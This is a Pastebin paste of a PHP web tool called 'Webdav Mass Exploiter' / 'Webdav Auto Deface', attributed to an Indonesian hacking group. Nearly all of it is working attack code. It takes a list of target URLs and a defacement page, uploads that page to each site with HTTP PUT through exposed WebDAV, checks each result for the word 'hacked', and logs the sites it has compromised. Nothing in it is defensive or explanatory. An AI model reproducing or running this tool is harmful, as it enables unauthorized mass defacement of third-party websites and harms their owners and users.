K4MVR3T717

[PHP] Webdav Mass Exploiter

Sep 25th, 2016
329
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.19 KB | None | 0 0
  1. <?php
  2. # WWW.IndoFree-Security.Blogspot.Com
  3. ?>
  4. <head><title>Webdav Auto Deface</title></head>
  5. <style>
  6. body { font-family: Atma }
  7. input, textarea { font-family: Atma }
  8. th { background:black;color:#fff;padding:3px;font-family: Suez One}
  9. </style>
  10. <link href='http://fonts.googleapis.com/css?family=Atma' rel='stylesheet' type='text/css'/>
  11. <link href='http://fonts.googleapis.com/css?family=Suez One' rel='stylesheet' type='text/css'/>
  12. <center>
  13. <table><tr><th>Webdav Auto Deface</th></tr> <tr><td><form action="" method="POST">
  14. <textarea name="isi" style="height:175px;width:500px">https://loclahost/</textarea><br><br>
  15. <textarea name="isi1" style="height:175px;width:500px">Script Deface</textarea><br><br>
  16. <input type="hidden" name="site" value="list.txt">
  17. <input type="hidden" name="file" value="pwd.htm">
  18. <center><input type="submit" style="background:black;color:#fff;padding:3px;border:0" name="go" value="&lt;&lt; Serang &gt;&gt;"></center>
  19. </form>
  20. </td></tr></table>
  21. <table> <tr><th>Informasi</th></tr> <tr><td>
  22. <div style="border:1px solid black;border-bottom:5px solid black; padding:3px;height:auto;width:500px">
  23. <?php
  24.  
  25. if($_POST['go']){
  26.  
  27. $nama = "pwd.htm";
  28. $isi = $_POST['isi1'];
  29. $fp = fopen($nama,"w");
  30. fputs($fp, $isi);
  31.  
  32. $nama = "list.txt";
  33. $isi = $_POST['isi'];
  34. $fp = fopen($nama,"w");
  35. fputs($fp, $isi);
  36.  
  37.  
  38.  
  39. ?>
  40. <?php
  41.  
  42. # By K4MVR3T717 | IndoFree-Secrity
  43. # IFS | Indonesian Freedom Security
  44. # IndoFree-Security.Blogspot.Com
  45.  
  46. $sites = $_POST[site];
  47. $file = $_POST[file];
  48. $fp = fopen($file, "r");
  49. $buka=fopen("$sites","r");
  50. $filesize = filesize($file);
  51. $size=filesize("$sites");
  52. $baca=fread($buka,$size);
  53. $sites = explode("\r\n", $baca);
  54. foreach($sites as $site){
  55. if(preg_match("#http://#", $site)) {
  56. $site = $site;
  57. } else {
  58. $site = "http://".$site;
  59. }
  60. $site = "$site/$file";
  61. $ch = curl_init();
  62. curl_setopt($ch, CURLOPT_URL, $site);
  63. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  64. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  65. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
  66. curl_setopt($ch, CURLOPT_PUT, true);
  67. curl_setopt($ch, CURLOPT_INFILE, $fp);
  68. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  69. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  70. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  71. $exec = curl_exec($ch);
  72. echo "$site -> ";
  73. $su = curill($site);
  74. if(preg_match("/hacked/i", $su)) {
  75. echo "<font color=green>Success ^_^</font><br>\n\n";
  76. file_put_contents("Webdav_Success.html", "$site<br>", FILE_APPEND);
  77. } else {
  78. echo "<font color=red>Error -_-</font><br>\n";
  79. }
  80. }
  81. }
  82. function curill($site){
  83. $ch = curl_init ("$site");
  84. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  85. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  86. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  87. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  88. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  89. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  90. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  91. $data3 = curl_exec ($ch);
  92. return $data3;
  93. }
  94. ?>
  95. </div>
  96. </td></tr>
  97. <tr><th>Indonesian Freedom Security</th></tr></table></center>
Advertisement
Add Comment
Please, Sign In to add comment